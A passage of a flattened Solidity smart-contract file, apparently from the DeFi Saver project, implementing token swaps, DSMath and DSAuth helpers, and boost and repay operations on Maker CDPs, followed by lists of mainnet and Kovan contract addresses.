// require(price > _data[1], "Slippage hit onchain price");
// if (orderAddresses[1] == KYBER_ETH_ADDRESS) {
// uint tRet;
// (tRet,) = ExchangeInterface(wrapper).swapEtherToToken.value(tokens[1])(tokens[1], orderAddresses[2], uint(-1));
// tokens[0] += tRet;
// } else {
// ERC20(orderAddresses[1]).transfer(wrapper, tokens[1]);
// if (orderAddresses[2] == KYBER_ETH_ADDRESS) {
// tokens[0] += ExchangeInterface(wrapper).swapTokenToEther(orderAddresses[1], tokens[1], uint(-1));
// } else {
// tokens[0] += ExchangeInterface(wrapper).swapTokenToToken(orderAddresses[1], orderAddresses[2], tokens[1]);
// }
// }
// return tokens[0];
// }
if (tokens[0] == 0) {
(wrapper, price) = SaverExchangeInterface(SAVER_EXCHANGE_ADDRESS).getBestPrice(_data[0], orderAddresses[1], orderAddresses[2], _data[2]);
require(price > _data[1] || _data[3] > _data[1], "Slippage hit");
// handle 0x exchange, if equal price, try 0x to use less gas
if (_data[3] >= price) {
if (orderAddresses[1] != KYBER_ETH_ADDRESS) {
ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _data[0]);
}
// when selling eth its possible that some eth isn't sold and it is returned back
(success, tokens[0], tokens[1]) = takeOrder(orderAddresses, _callData, address(this).balance, _data[0]);
}
// if there are more tokens left, try to sell them on other exchanges
if (tokens[1] > 0) {
// as it stands today, this can happend only when selling ETH
if (tokens[1] != _data[0]) {
(wrapper, price) = SaverExchangeInterface(SAVER_EXCHANGE_ADDRESS).getBestPrice(tokens[1], orderAddresses[1], orderAddresses[2], _data[2]);
}
require(price > _data[1], "Slippage hit onchain price");
if (orderAddresses[1] == KYBER_ETH_ADDRESS) {
uint tRet;
(tRet,) = ExchangeInterface(wrapper).swapEtherToToken{value: tokens[1]}(tokens[1], orderAddresses[2], uint(-1));
tokens[0] += tRet;
} else {
ERC20(orderAddresses[1]).transfer(wrapper, tokens[1]);
if (orderAddresses[2] == KYBER_ETH_ADDRESS) {
tokens[0] += ExchangeInterface(wrapper).swapTokenToEther(orderAddresses[1], tokens[1], uint(-1));
} else {
tokens[0] += ExchangeInterface(wrapper).swapTokenToToken(orderAddresses[1], orderAddresses[2], tokens[1]);
}
}
}
}
return tokens[0];
}
// @notice Takes order from 0x and returns bool indicating if it is successful
// @param _addresses [exchange, src, dst]
// @param _data Data to send with call
// @param _value Value to send with call
// @param _amount Amount to sell
function takeOrder(address[3] memory _addresses, bytes memory _data, uint _value, uint _amount) private returns(bool, uint, uint) {
bool success;
(success, ) = _addresses[0].call{value: _value}(_data);
uint tokensLeft = _amount;
uint tokensReturned = 0;
if (success){
// check how many tokens left from _src
if (_addresses[1] == KYBER_ETH_ADDRESS) {
tokensLeft = address(this).balance;
} else {
tokensLeft = ERC20(_addresses[1]).balanceOf(address(this));
}
// check how many tokens are returned
if (_addresses[2] == KYBER_ETH_ADDRESS) {
TokenInterface(WETH_ADDRESS).withdraw(TokenInterface(WETH_ADDRESS).balanceOf(address(this)));
tokensReturned = address(this).balance;
} else {
tokensReturned = ERC20(_addresses[2]).balanceOf(address(this));
}
}
return (success, tokensReturned, tokensLeft);
}
/// @notice Converts WETH -> Kybers Eth address
/// @param _src Input address
function wethToKyberEth(address _src) internal pure returns (address) {
return _src == WETH_ADDRESS ? KYBER_ETH_ADDRESS : _src;
}
}
contract DSMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x / y;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) internal pure returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) internal pure returns (int256 z) {
return x >= y ? x : y;
}
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
abstract contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority(address indexed authority);
event LogSetOwner(address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_) public auth {
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_) public auth {
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
abstract contract DSProxy is DSAuth, DSNote {
DSProxyCache public cache; // global cache for contracts
constructor(address _cacheAddr) public {
require(setCache(_cacheAddr));
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
// use the proxy to execute calldata _data on contract _code
function execute(bytes memory _code, bytes memory _data)
public
payable
virtual
returns (address target, bytes32 response);
function execute(address _target, bytes memory _data)
public
payable
virtual
returns (bytes32 response);
//set new cache
function setCache(address _cacheAddr) public virtual payable returns (bool);
}
contract DSProxyCache {
mapping(bytes32 => address) cache;
function read(bytes memory _code) public view returns (address) {
bytes32 hash = keccak256(_code);
return cache[hash];
}
function write(bytes memory _code) public returns (address target) {
assembly {
target := create(0, add(_code, 0x20), mload(_code))
switch iszero(extcodesize(target))
case 1 {
// throw if contract failed to deploy
revert(0, 0)
}
}
bytes32 hash = keccak256(_code);
cache[hash] = target;
}
}
abstract contract Manager {
function last(address) virtual public returns (uint);
function cdpCan(address, uint, address) virtual public view returns (uint);
function ilks(uint) virtual public view returns (bytes32);
function owns(uint) virtual public view returns (address);
function urns(uint) virtual public view returns (address);
function vat() virtual public view returns (address);
function open(bytes32, address) virtual public returns (uint);
function give(uint, address) virtual public;
function cdpAllow(uint, address, uint) virtual public;
function urnAllow(address, uint) virtual public;
function frob(uint, int, int) virtual public;
function flux(uint, address, uint) virtual public;
function move(uint, address, uint) virtual public;
function exit(address, uint, address, uint) virtual public;
function quit(uint, address) virtual public;
function enter(address, uint) virtual public;
function shift(uint, uint) virtual public;
}
/// @title Helper methods for MCDSaverProxy
contract SaverProxyHelper is DSMath {
/// @notice Returns a normalized debt _amount based on the current rate
/// @param _amount Amount of dai to be normalized
/// @param _rate Current rate of the stability fee
/// @param _daiVatBalance Balance od Dai in the Vat for that CDP
function normalizeDrawAmount(uint _amount, uint _rate, uint _daiVatBalance) internal pure returns (int dart) {
if (_daiVatBalance < mul(_amount, RAY)) {
dart = toPositiveInt(sub(mul(_amount, RAY), _daiVatBalance) / _rate);
dart = mul(uint(dart), _rate) < mul(_amount, RAY) ? dart + 1 : dart;
}
}
/// @notice Converts a number to Rad percision
/// @param _wad The input number in wad percision
function toRad(uint _wad) internal pure returns (uint) {
return mul(_wad, 10 ** 27);
}
/// @notice Converts a number to 18 decimal percision
/// @param _joinAddr Join address of the collateral
/// @param _amount Number to be converted
function convertTo18(address _joinAddr, uint256 _amount) internal returns (uint256) {
return mul(_amount, 10 ** (18 - Join(_joinAddr).dec()));
}
/// @notice Converts a uint to int and checks if positive
/// @param _x Number to be converted
function toPositiveInt(uint _x) internal pure returns (int y) {
y = int(_x);
require(y >= 0, "int-overflow");
}
/// @notice Gets Dai amount in Vat which can be added to Cdp
/// @param _vat Address of Vat contract
/// @param _urn Urn of the Cdp
/// @param _ilk Ilk of the Cdp
function normalizePaybackAmount(address _vat, address _urn, bytes32 _ilk) internal view returns (int amount) {
uint dai = Vat(_vat).dai(_urn);
(, uint rate,,,) = Vat(_vat).ilks(_ilk);
(, uint art) = Vat(_vat).urns(_ilk, _urn);
amount = toPositiveInt(dai / rate);
amount = uint(amount) <= art ? - amount : - toPositiveInt(art);
}
/// @notice Gets the whole debt of the CDP
/// @param _vat Address of Vat contract
/// @param _usr Address of the Dai holder
/// @param _urn Urn of the Cdp
/// @param _ilk Ilk of the Cdp
function getAllDebt(address _vat, address _usr, address _urn, bytes32 _ilk) internal view returns (uint daiAmount) {
(, uint rate,,,) = Vat(_vat).ilks(_ilk);
(, uint art) = Vat(_vat).urns(_ilk, _urn);
uint dai = Vat(_vat).dai(_usr);
uint rad = sub(mul(art, rate), dai);
daiAmount = rad / RAY;
daiAmount = mul(daiAmount, RAY) < rad ? daiAmount + 1 : daiAmount;
}
/// @notice Gets the token address from the Join contract
/// @param _joinAddr Address of the Join contract
function getCollateralAddr(address _joinAddr) internal returns (address) {
return address(Join(_joinAddr).gem());
}
/// @notice Gets CDP info (collateral, debt)
/// @param _manager Manager contract
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getCdpInfo(Manager _manager, uint _cdpId, bytes32 _ilk) public view returns (uint, uint) {
address vat = _manager.vat();
address urn = _manager.urns(_cdpId);
(uint collateral, uint debt) = Vat(vat).urns(_ilk, urn);
(,uint rate,,,) = Vat(vat).ilks(_ilk);
return (collateral, rmul(debt, rate));
}
/// @notice Address that owns the DSProxy that owns the CDP
/// @param _manager Manager contract
/// @param _cdpId Id of the CDP
function getOwner(Manager _manager, uint _cdpId) public view returns (address) {
DSProxy proxy = DSProxy(uint160(_manager.owns(_cdpId)));
return proxy.owner();
}
}
/// @title Implements Boost and Repay for MCD CDPs
contract MCDSaverProxy is SaverProxyHelper, ExchangeHelper {
uint public constant SERVICE_FEE = 400; // 0.25% Fee
bytes32 public constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000;
bytes32 public constant USDC_ILK = 0x555344432d410000000000000000000000000000000000000000000000000000;
Manager public constant manager = Manager(MANAGER_ADDRESS);
Vat public constant vat = Vat(VAT_ADDRESS);
DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS);
Spotter public constant spotter = Spotter(SPOTTER_ADDRESS);
/// @notice Checks if the collateral amount is increased after boost
/// @param _cdpId The Id of the CDP
modifier boostCheck(uint _cdpId) {
bytes32 ilk = manager.ilks(_cdpId);
address urn = manager.urns(_cdpId);
(uint collateralBefore, ) = vat.urns(ilk, urn);
_;
(uint collateralAfter, ) = vat.urns(ilk, urn);
require(collateralAfter > collateralBefore);
}
/// @notice Checks if ratio is increased after repay
/// @param _cdpId The Id of the CDP
modifier repayCheck(uint _cdpId) {
bytes32 ilk = manager.ilks(_cdpId);
uint beforeRatio = getRatio(_cdpId, ilk);
_;
uint afterRatio = getRatio(_cdpId, ilk);
require(afterRatio > beforeRatio || afterRatio == 0);
}
/// @notice Repay - draws collateral, converts to Dai and repays the debt
/// @dev Must be called by the DSProxy contract that owns the CDP
/// @param _data Uint array [cdpId, amount, minPrice, exchangeType, gasCost, 0xPrice]
/// @param _joinAddr Address of the join contract for the CDP collateral
/// @param _exchangeAddress Address of 0x exchange that should be called
/// @param _callData data to call 0x exchange with
function repay(
// cdpId, amount, minPrice, exchangeType, gasCost, 0xPrice
uint[6] memory _data,
address _joinAddr,
address _exchangeAddress,
bytes memory _callData
) public payable repayCheck(_data[0]) {
address owner = getOwner(manager, _data[0]);
bytes32 ilk = manager.ilks(_data[0]);
// uint collDrawn;
// uint daiAmount;
// uint daiAfterFee;
uint[3] memory temp;
temp[0] = drawCollateral(_data[0], ilk, _joinAddr, _data[1]);
// collDrawn, minPrice, exchangeType, 0xPrice
uint[4] memory swapData = [temp[0], _data[2], _data[3], _data[5]];
temp[1] = swap(swapData, getCollateralAddr(_joinAddr), DAI_ADDRESS, _exchangeAddress, _callData);
temp[2] = sub(temp[1], getFee(temp[1], _data[4], owner));
paybackDebt(_data[0], ilk, temp[2], owner);
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
SaverLogger(LOGGER_ADDRESS).LogRepay(_data[0], owner, temp[0], temp[1]);
}
/// @notice Boost - draws Dai, converts to collateral and adds to CDP
/// @dev Must be called by the DSProxy contract that owns the CDP
/// @param _data Uint array [cdpId, daiAmount, minPrice, exchangeType, gasCost, 0xPrice]
/// @param _joinAddr Address of the join contract for the CDP collateral
/// @param _exchangeAddress Address of 0x exchange that should be called
/// @param _callData data to call 0x exchange with
function boost(
// cdpId, daiAmount, minPrice, exchangeType, gasCost, 0xPrice
uint[6] memory _data,
address _joinAddr,
address _exchangeAddress,
bytes memory _callData
) public payable boostCheck(_data[0]) {
address owner = getOwner(manager, _data[0]);
bytes32 ilk = manager.ilks(_data[0]);
// uint daiDrawn;
// uint daiAfterFee;
// uint collateralAmount;
uint[3] memory temp;
temp[0] = drawDai(_data[0], ilk, _data[1]);
temp[1] = sub(temp[0], getFee(temp[0], _data[4], owner));
// daiAfterFee, minPrice, exchangeType, 0xPrice
uint[4] memory swapData = [temp[1], _data[2], _data[3], _data[5]];
temp[2] = swap(swapData, DAI_ADDRESS, getCollateralAddr(_joinAddr), _exchangeAddress, _callData);
addCollateral(_data[0], _joinAddr, temp[2]);
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
SaverLogger(LOGGER_ADDRESS).LogBoost(_data[0], owner, temp[0], temp[2]);
}
/// @notice Draws Dai from the CDP
/// @dev If _daiAmount is bigger than max available we'll draw max
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @param _daiAmount Amount of Dai to draw
function drawDai(uint _cdpId, bytes32 _ilk, uint _daiAmount) internal returns (uint) {
uint rate = Jug(JUG_ADDRESS).drip(_ilk);
uint daiVatBalance = vat.dai(manager.urns(_cdpId));
uint maxAmount = getMaxDebt(_cdpId, _ilk);
if (_daiAmount >= maxAmount) {
_daiAmount = sub(maxAmount, 1);
}
manager.frob(_cdpId, int(0), normalizeDrawAmount(_daiAmount, rate, daiVatBalance));
manager.move(_cdpId, address(this), toRad(_daiAmount));
if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) {
vat.hope(DAI_JOIN_ADDRESS);
}
DaiJoin(DAI_JOIN_ADDRESS).exit(address(this), _daiAmount);
return _daiAmount;
}
/// @notice Adds collateral to the CDP
/// @param _cdpId Id of the CDP
/// @param _joinAddr Address of the join contract for the CDP collateral
/// @param _amount Amount of collateral to add
function addCollateral(uint _cdpId, address _joinAddr, uint _amount) internal {
int convertAmount = 0;
if (_joinAddr == ETH_JOIN_ADDRESS) {
Join(_joinAddr).gem().deposit{value: _amount}();
convertAmount = toPositiveInt(_amount);
} else {
convertAmount = toPositiveInt(convertTo18(_joinAddr, _amount));
}
Join(_joinAddr).gem().approve(_joinAddr, _amount);
Join(_joinAddr).join(address(this), _amount);
vat.frob(
manager.ilks(_cdpId),
manager.urns(_cdpId),
address(this),
address(this),
convertAmount,
0
);
}
/// @notice Draws collateral and returns it to DSProxy
/// @dev If _amount is bigger than max available we'll draw max
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @param _joinAddr Address of the join contract for the CDP collateral
/// @param _amount Amount of collateral to draw
function drawCollateral(uint _cdpId, bytes32 _ilk, address _joinAddr, uint _amount) internal returns (uint) {
uint maxCollateral = getMaxCollateral(_cdpId, _ilk, _joinAddr);
if (_amount >= maxCollateral) {
_amount = sub(maxCollateral, 1);
}
uint frobAmount = _amount;
if (Join(_joinAddr).dec() != 18) {
frobAmount = _amount * (10 ** (18 - Join(_joinAddr).dec()));
}
manager.frob(_cdpId, -toPositiveInt(frobAmount), 0);
manager.flux(_cdpId, address(this), frobAmount);
Join(_joinAddr).exit(address(this), _amount);
if (_joinAddr == ETH_JOIN_ADDRESS) {
Join(_joinAddr).gem().withdraw(_amount); // Weth -> Eth
}
return _amount;
}
/// @notice Paybacks Dai debt
/// @dev If the _daiAmount is bigger than the whole debt, returns extra Dai
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @param _daiAmount Amount of Dai to payback
/// @param _owner Address that owns the DSProxy that owns the CDP
function paybackDebt(uint _cdpId, bytes32 _ilk, uint _daiAmount, address _owner) internal {
address urn = manager.urns(_cdpId);
uint wholeDebt = getAllDebt(VAT_ADDRESS, urn, urn, _ilk);
if (_daiAmount > wholeDebt) {
ERC20(DAI_ADDRESS).transfer(_owner, sub(_daiAmount, wholeDebt));
_daiAmount = wholeDebt;
}
daiJoin.dai().approve(DAI_JOIN_ADDRESS, _daiAmount);
daiJoin.join(urn, _daiAmount);
manager.frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk));
}
/// @notice Calculates the fee amount
/// @param _amount Dai amount that is converted
/// @param _gasCost Used for Monitor, estimated gas cost of tx
/// @param _owner The address that controlls the DSProxy that owns the CDP
function getFee(uint _amount, uint _gasCost, address _owner) internal returns (uint feeAmount) {
uint fee = SERVICE_FEE;
if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_owner)) {
fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_owner);
}
feeAmount = (fee == 0) ? 0 : (_amount / fee);
if (_gasCost != 0) {
uint ethDaiPrice = getPrice(ETH_ILK);
_gasCost = rmul(_gasCost, ethDaiPrice);
feeAmount = add(feeAmount, _gasCost);
}
// fee can't go over 20% of the whole amount
if (feeAmount > (_amount / 5)) {
feeAmount = _amount / 5;
}
ERC20(DAI_ADDRESS).transfer(WALLET_ID, feeAmount);
}
/// @notice Gets the maximum amount of collateral available to draw
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @param _joinAddr Joind address of collateral
/// @dev Substracts 10 wei to aviod rounding error later on
function getMaxCollateral(uint _cdpId, bytes32 _ilk, address _joinAddr) public view returns (uint) {
uint price = getPrice(_ilk);
(uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk);
(, uint mat) = Spotter(SPOTTER_ADDRESS).ilks(_ilk);
uint maxCollateral = sub(sub(collateral, (div(mul(mat, debt), price))), 10);
uint normalizeMaxCollateral = maxCollateral;
if (Join(_joinAddr).dec() != 18) {
normalizeMaxCollateral = maxCollateral / (10 ** (18 - Join(_joinAddr).dec()));
}
return normalizeMaxCollateral;
}
/// @notice Gets the maximum amount of debt available to generate
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @dev Substracts 10 wei to aviod rounding error later on
function getMaxDebt(uint _cdpId, bytes32 _ilk) public virtual view returns (uint) {
uint price = getPrice(_ilk);
(, uint mat) = spotter.ilks(_ilk);
(uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk);
return sub(sub(div(mul(collateral, price), mat), debt), 10);
}
/// @notice Gets a price of the asset
/// @param _ilk Ilk of the CDP
function getPrice(bytes32 _ilk) public view returns (uint) {
(, uint mat) = spotter.ilks(_ilk);
(,,uint spot,,) = vat.ilks(_ilk);
return rmul(rmul(spot, spotter.par()), mat);
}
/// @notice Gets CDP ratio
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getRatio(uint _cdpId, bytes32 _ilk) public view returns (uint) {
uint price = getPrice( _ilk);
(uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk);
if (debt == 0) return 0;
return rdiv(wmul(collateral, price), debt);
}
/// @notice Gets CDP info (collateral, debt, price, ilk)
/// @param _cdpId Id of the CDP
function getCdpDetailedInfo(uint _cdpId) public view returns (uint collateral, uint debt, uint price, bytes32 ilk) {
address urn = manager.urns(_cdpId);
ilk = manager.ilks(_cdpId);
(collateral, debt) = vat.urns(ilk, urn);
(,uint rate,,,) = vat.ilks(ilk);
debt = rmul(debt, rate);
price = getPrice(ilk);
}
}
contract ConstantAddressesMainnet {
address public constant MAKER_DAI_ADDRESS = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public constant IDAI_ADDRESS = 0x14094949152EDDBFcd073717200DA82fEd8dC960;
address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
address public constant CDAI_ADDRESS = 0xF5DCe57282A584D2746FaF1593d3121Fcac444dC;
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant MKR_ADDRESS = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;
address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant VOX_ADDRESS = 0x9B0F70Df76165442ca6092939132bBAEA77f2d7A;
address public constant PETH_ADDRESS = 0xf53AD2c6851052A81B42133467480961B2321C09;
address public constant TUB_ADDRESS = 0x448a5065aeBB8E423F0896E6c5D525C040f59af3;
address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08;
address public constant LOGGER_ADDRESS = 0xeCf88e1ceC2D2894A0295DB3D86Fe7CE4991E6dF;
address public constant OTC_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D;
address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F;
address public constant KYBER_WRAPPER = 0x8F337bD3b7F2b05d9A8dC8Ac518584e833424893;
address public constant UNISWAP_WRAPPER = 0x1e30124FDE14533231216D95F7798cD0061e5cf8;
address public constant ETH2DAI_WRAPPER = 0xd7BBB1777E13b6F535Dec414f575b858ed300baF;
address public constant OASIS_WRAPPER = 0x9aBE2715D2d99246269b8E17e9D1b620E9bf6558;
address public constant KYBER_INTERFACE = 0x818E6FECD516Ecc3849DAf6845e3EC868087B755;
address public constant UNISWAP_FACTORY = 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95;
address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7;
address public constant PIP_INTERFACE_ADDRESS = 0x729D19f657BD0614b4985Cf1D82531c67569197B;
address public constant PROXY_REGISTRY_INTERFACE_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4;
address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04;
address public constant SAVINGS_LOGGER_ADDRESS = 0x89b3635BD2bAD145C6f92E82C9e83f06D5654984;
address public constant AUTOMATIC_LOGGER_ADDRESS = 0xAD32Ce09DE65971fFA8356d7eF0B783B82Fd1a9A;
address public constant SAVER_EXCHANGE_ADDRESS = 0x6eC6D98e2AF940436348883fAFD5646E9cdE2446;
// Kovan addresses, not used on mainnet
address public constant COMPOUND_DAI_ADDRESS = 0x25a01a05C188DaCBCf1D61Af55D4a5B4021F7eeD;
address public constant STUPID_EXCHANGE = 0x863E41FE88288ebf3fcd91d8Dbb679fb83fdfE17;
// new MCD contracts
address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
address public constant PROXY_ACTIONS = 0x82ecD135Dce65Fbc6DbdD0e4237E0AF93FFD5038;
address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A;
address public constant MIGRATION_ACTIONS_PROXY = 0xe4B22D484958E582098A98229A24e8A43801b674;
address public constant SAI_ADDRESS = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address payable public constant SCD_MCD_MIGRATION = 0xc73e0383F3Aff3215E6f04B0331D58CeCf0Ab849;
// Our contracts
address public constant SUBSCRIPTION_ADDRESS = 0x83152CAA0d344a2Fd428769529e2d490A88f4393;
address public constant MONITOR_ADDRESS = 0x3F4339816EDEF8D3d3970DB2993e2e0Ec6010760;
address public constant NEW_CDAI_ADDRESS = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081;
address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF;
}
contract ConstantAddressesKovan {
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant WETH_ADDRESS = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
address public constant MAKER_DAI_ADDRESS = 0xC4375B7De8af5a38a93548eb8453a498222C4fF2;
address public constant MKR_ADDRESS = 0xAaF64BFCC32d0F15873a02163e7E500671a4ffcD;
address public constant VOX_ADDRESS = 0xBb4339c0aB5B1d9f14Bd6e3426444A1e9d86A1d9;
address public constant PETH_ADDRESS = 0xf4d791139cE033Ad35DB2B2201435fAd668B1b64;
address public constant TUB_ADDRESS = 0xa71937147b55Deb8a530C7229C442Fd3F31b7db2;
address public constant LOGGER_ADDRESS = 0x32d0e18f988F952Eb3524aCE762042381a2c39E5;
address payable public constant WALLET_ID = 0x54b44C6B18fc0b4A1010B21d524c338D1f8065F6;
address public constant OTC_ADDRESS = 0x4A6bC4e803c62081ffEbCc8d227B5a87a58f1F8F;
address public constant COMPOUND_DAI_ADDRESS = 0x25a01a05C188DaCBCf1D61Af55D4a5B4021F7eeD;
address public constant SOLO_MARGIN_ADDRESS = 0x4EC3570cADaAEE08Ae384779B0f3A45EF85289DE;
address public constant IDAI_ADDRESS = 0xA1e58F3B1927743393b25f261471E1f2D3D9f0F6;
address public constant CDAI_ADDRESS = 0xb6b09fBffBa6A5C4631e5F7B2e3Ee183aC259c0d;
address public constant STUPID_EXCHANGE = 0x863E41FE88288ebf3fcd91d8Dbb679fb83fdfE17;
address public constant DISCOUNT_ADDRESS = 0x1297c1105FEDf45E0CF6C102934f32C4EB780929;
address public constant SAI_SAVER_PROXY = 0xADB7c74bCe932fC6C27ddA3Ac2344707d2fBb0E6;
address public constant KYBER_WRAPPER = 0x68c56FF0E7BBD30AF9Ad68225479449869fC1bA0;
address public constant UNISWAP_WRAPPER = 0x2A4ee140F05f1Ba9A07A020b07CCFB76CecE4b43;
address public constant ETH2DAI_WRAPPER = 0x823cde416973a19f98Bb9C96d97F4FE6C9A7238B;
address public constant OASIS_WRAPPER = 0x0257Ba4876863143bbeDB7847beC583e4deb6fE6;
address public constant SAVER_EXCHANGE_ADDRESS = 0xACA7d11e3f482418C324aAC8e90AaD0431f692A6;
address public constant FACTORY_ADDRESS = 0xc72E74E474682680a414b506699bBcA44ab9a930;
//
address public constant PIP_INTERFACE_ADDRESS = 0xA944bd4b25C9F186A846fd5668941AA3d3B8425F;
address public constant PROXY_REGISTRY_INTERFACE_ADDRESS = 0x64A436ae831C1672AE81F674CAb8B6775df3475C;
address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000170CcC93903185bE5A2094C870Df62;
address public constant KYBER_INTERFACE = 0x692f391bCc85cefCe8C237C01e1f636BbD70EA4D;
address public constant SAVINGS_LOGGER_ADDRESS = 0x2aa889D809B29c608dA99767837D189dAe12a874;
// Rinkeby, when no Kovan
address public constant UNISWAP_FACTORY = 0xf5D915570BC477f9B8D6C0E980aA81757A3AaC36;
// new MCD contracts
address public constant MANAGER_ADDRESS = 0x1476483dD8C35F25e568113C5f70249D3976ba21;
address public constant VAT_ADDRESS = 0xbA987bDB501d131f766fEe8180Da5d81b34b69d9;
address public constant SPOTTER_ADDRESS = 0x3a042de6413eDB15F2784f2f97cC68C7E9750b2D;
address public constant JUG_ADDRESS = 0xcbB7718c9F39d05aEEDE1c472ca8Bf804b2f1EaD;
address public constant DAI_JOIN_ADDRESS = 0x5AA71a3ae1C0bd6ac27A1f28e1415fFFB6F15B8c;
address public constant ETH_JOIN_ADDRESS = 0x775787933e92b709f2a3C70aa87999696e74A9F8;
address public constant MIGRATION_ACTIONS_PROXY = 0x433870076aBd08865f0e038dcC4Ac6450e313Bd8;
address public constant PROXY_ACTIONS = 0xd1D24637b9109B7f61459176EdcfF9Be56283a7B;
address public constant SAI_ADDRESS = 0xC4375B7De8af5a38a93548eb8453a498222C4fF2;
